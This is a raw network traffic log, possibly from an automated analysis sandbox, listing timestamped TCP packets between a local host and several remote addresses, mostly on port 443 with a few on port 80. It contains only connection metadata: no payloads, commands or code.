Nov 23, 2024 09:16:33.579878092 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.579890966 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.582320929 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.582343102 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.582511902 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.582571030 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.582591057 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.642107010 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.642112017 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.644141912 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.644160032 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.645375013 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.645618916 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.645649910 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.647301912 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.647376060 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.647711039 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.647777081 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.647850037 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.647861004 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.649207115 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.649281979 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.649548054 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.649643898 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.649733067 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.688954115 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.704541922 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.704571009 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.751405001 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.077827930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:34.078037024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:34.125395060 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.126060963 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.126087904 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.126773119 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.126779079 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.171147108 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.178055048 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.178076982 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.178946018 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.178952932 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.240613937 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.241261959 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.241291046 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.241952896 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.241961002 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.246859074 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.247383118 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.247438908 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.247909069 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.247921944 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.372776985 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.372828007 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.372863054 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.372876883 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.372896910 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.372981071 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.373008013 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.374829054 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.374888897 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.375272989 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.375283957 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.375294924 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.375334024 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.462131023 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.483616114 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.483628035 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.484319925 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.484324932 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.506814957 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.507210970 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.507282972 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.523432016 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.523574114 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.523639917 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.523658037 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.523736954 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.523787022 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.523797035 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.538866997 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.538882017 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.539299965 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.539362907 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.539378881 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.543505907 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.543576956 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.543590069 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.555921078 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.556004047 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.556019068 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.577944994 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.578020096 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.578080893 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.600127935 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.600172043 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.600207090 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.600225925 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.604758024 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.604969025 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.605030060 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.607208014 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.607227087 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.611032963 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.617202044 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.617234945 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.617341042 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.618525028 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.618545055 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.618614912 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.618752003 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.618768930 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.619337082 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.619352102 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.642827988 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.647459984 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.647519112 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.647536039 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.685339928 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.685394049 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.685451984 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.685703039 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.685703039 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.685717106 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.685725927 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.689239025 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.689296961 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.689363003 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.689438105 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.689873934 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.689905882 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.689969063 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.690287113 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.690323114 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.690356970 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.690360069 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.690372944 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.690376043 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.693788052 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.693830967 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.693892956 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.694053888 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.694076061 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.733612061 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.737335920 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.737396002 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.737413883 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.745069981 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.745127916 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.745142937 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.756352901 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.756412983 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.756428003 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.765230894 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.765302896 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.765316963 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.773948908 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.774151087 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.774163961 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.786700010 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.786761045 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.786773920 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.799911022 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.799978971 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.799993038 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.813402891 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.813471079 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.813484907 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.826745987 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.826808929 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.826821089 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.839688063 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.839754105 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.839767933 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.858234882 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.858304024 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.858318090 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.865876913 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.865948915 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.865962982 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.907270908 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.914884090 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.914958954 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.915039062 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.915853024 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.915853024 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.915869951 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.915879965 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.920459986 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.920502901 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.920578957 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.920814991 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:34.920834064 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:34.934910059 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.937118053 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.937258005 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.937272072 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.942053080 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.942130089 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.942140102 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.946902990 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.946966887 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.946976900 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.951728106 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.951790094 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.951800108 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.960973024 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.961054087 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.961066008 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.962645054 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.962699890 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.962718964 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.967945099 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.967995882 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.968005896 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.979583979 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.979650974 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.979665041 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.991170883 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:34.991240978 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:34.991255045 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.002337933 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.002402067 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.002413988 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.013585091 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.013658047 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.013669968 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.024101019 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.024178982 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.024194002 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.033835888 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.033941984 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.033957958 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.056885004 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.056958914 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.056973934 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.057089090 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.057140112 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.057149887 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.062055111 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.062114954 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.062129021 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.070316076 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.070382118 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.070396900 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.080152988 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.080212116 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.080228090 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.088227987 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.088287115 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.088300943 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.095269918 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.095326900 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.095339060 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.103379965 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.103434086 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.103447914 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.111712933 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.111767054 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.111779928 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.117007971 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.117067099 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.117080927 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.137248993 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.137346029 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.137398958 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.137415886 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.137459993 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.147213936 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.147938013 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.148005962 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.148021936 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.150059938 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.150126934 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.150141001 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.152766943 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.152833939 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.152847052 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.158160925 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.158230066 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.158241034 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.158267975 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.158313990 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.160053015 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.160258055 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.160327911 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.160396099 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.160413027 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:35.160443068 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.160465002 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:35.736123085 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:35.736162901 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:35.736247063 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:35.738337994 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:35.738354921 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:36.065869093 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:36.065908909 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:36.066004992 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:36.066276073 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:36.066288948 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:36.402960062 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.403537035 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.403548002 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.404275894 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.404280901 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.469901085 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.470455885 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.470468998 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.470756054 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.472239971 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.472244978 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.472724915 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.472750902 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.473285913 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.473293066 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.473675013 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.474004030 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.474026918 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.474529028 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.474534988 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.523696899 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:36.523732901 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:36.523818970 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:36.525290012 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:36.525309086 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:36.847362995 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.847414017 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.847524881 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.847784042 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.847793102 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.847829103 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.847832918 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.852258921 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.852282047 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.852607012 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.853092909 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.853106976 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.916330099 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.916438103 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.916582108 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.916799068 CET	49753	443	192.168.2.6	13.107.246.63
